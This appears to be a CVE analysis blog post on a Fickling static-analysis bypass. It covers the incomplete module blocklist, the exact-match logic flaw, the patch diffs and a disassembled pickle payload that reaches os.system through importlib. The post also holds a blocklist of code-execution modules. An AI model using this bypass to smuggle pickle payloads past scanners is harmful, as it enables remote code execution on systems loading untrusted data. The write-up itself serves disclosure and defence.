Pickle Rick-Roll: Bypassing Fickling's Static Analysis with CVE-2026-22609
Jan 9, 2026·4 min read
Executive Summary (TL;DR)
Fickling, a tool meant to detect malicious Python pickles, played a game of whack-a-mole with dangerous Python modules and lost. Due to a naive string matching algorithm and a missing blocklist entry for tools like `importlib` and `ctypes`, attackers can craft pickles that execute arbitrary code while the analyzer gives them a thumbs up.
A critical security bypass in Trail of Bits' Fickling tool allows attackers to conceal malicious Python pickle payloads. By exploiting an incomplete blocklist and a logic flaw in module name verification, arbitrary code execution primitives can slip past static analysis labeled as 'LIKELY_SAFE'.
The Hook: Taming the Pickle Beast
Python's pickle module is infamous in security circles. It's not just a serialization format; it's a stack-based virtual machine (PVM) that is Turing-complete. This means that unpickling data is effectively executing code. If you unpickle untrusted data, you are handing the keys to the castle to whoever sent that data.
Enter Fickling, a brave attempt by Trail of Bits to reverse-engineer, analyze, and sanitize these serialized streams. The goal? To look at a pickle file and say, "This looks suspicious," without actually detonating the bomb. It does this by disassembling the opcode stream and checking against known dangerous patterns—specifically, imports of modules known to facilitate Arbitrary Code Execution (ACE).
But here's the problem with blocklisting: you have to block everything. If you miss one obscure standard library module that allows dynamic loading or memory manipulation, the entire security model collapses. CVE-2026-22609 is exactly that collapse.
The Flaw: A Game of Semantic Whack-a-Mole
The vulnerability stems from two distinct failures in fickling/fickle.py. The first was a classic incomplete blocklist. The developers blocked obvious offenders like os, sys, and subprocess, but missed the more subtle tools in Python's massive standard library. Modules like importlib, ctypes, runpy, and even pydoc were left unmonitored. These modules are basically "ACE in a box."
The second failure was a logic flaw in how Fickling checked these imports. The code used an exact string match strategy:
if node.module in blocklist:
# Mark as unsafeThis is like checking if a burglar's name is "Rob" but letting "Rob Smith" walk right in. If the blocklist contained ctypes, an attacker could simply import ctypes.pythonapi. Since the string "ctypes.pythonapi" is not equal to "ctypes", Fickling treated it as a completely benign, unrecognized module. This allowed attackers to bypass checks for even the known dangerous modules by referencing their submodules.
The Code: The Smoking Gun
Let's look at the diff. The fix involved two major changes: expanding the list of bad guys and fixing the bouncer's logic at the door.
First, the logic update. The developers realized that exact matching is insufficient for Python's dotted module paths. They switched to checking the root module.
Vulnerable Logic:
# naive_check.py
if node.module in self.unsafe_imports:
yield nodeFixed Logic (Commit eb299b4):
# robust_check.py
# Split by dot and check the root package (index 0)
if node.module and node.module.split(".")[0] in self.unsafe_imports:
yield nodeSecond, the blocklist expansion. Commit 29d5545 added the missing dangerous primitives. It's a stark reminder of how powerful the Python standard library is:
UNSAFE_IMPORTS = {
# ... existing blocked modules ...
"ctypes", # Direct memory access / libc calls
"pydoc", # Can resolve strings to objects
"runpy", # Execute scripts
"importlib", # Dynamic import of any module
"code", # Interactive interpreter
"multiprocessing" # Spawn processes
}The Exploit: Smuggling the Payload
To exploit this, we don't need fancy memory corruption. We just need to ask the Pickle VM to load a module that isn't on the list, and then use that module to load the one we actually want (like os).
The target is importlib. Since it wasn't blocked, we can use it to dynamically import os and execute system. Here is how a disassembled malicious pickle looks:
# 1. Push 'importlib' and 'import_module' to stack
STACK_GLOBAL 'importlib' 'import_module'
# 2. Call importlib.import_module('os')
PUSH 'os'
TUPLE1
REDUCE
# 3. We now have the 'os' module on stack.
# Let's get 'system' from it.
PUSH 'system'
TUPLE2
REDUCE # effectively getattr(os, 'system')
# 4. Call os.system('id')
PUSH 'id'
TUPLE1
REDUCEIn the vulnerable version of Fickling, the analyzer sees STACK_GLOBAL 'importlib' 'import_module'. It checks importlib against its blocklist. Not found. It shrugs and marks the file as LIKELY_SAFE. Meanwhile, the consumer of that pickle just got popped.
The Impact: Why Static Analysis is Hard
The impact here is total system compromise. If you are using Fickling to gatekeep untrusted serialized data, this vulnerability renders that gate useless. An attacker can execute arbitrary commands with the privileges of the process unpickling the data.
This highlights a fundamental truth in security: Static analysis of Turing-complete languages is undecidable. While Fickling is a great tool for heuristics, relying on it as a hard security boundary for untrusted data is dangerous. This vulnerability proves that even with a blocklist, the dynamic nature of Python allows for infinite variations of "get me a shell."
Official Patches
Fix Analysis (2)
Technical Appendix
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
fickling trailofbits | < 0.2.0 | 0.2.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-184 (Incomplete List of Disallowed Inputs) |
| CVSS | 9.8 (Critical) |
| Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Attack Vector | Network |
| Impact | Remote Code Execution (RCE) |
| Exploit Status | High (Trivial to construct) |
MITRE ATT&CK Mapping
The software defines a list of disallowed inputs (blocklist) but fails to include all possible dangerous inputs, or fails to correctly canonicalize inputs before checking them against the list.
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.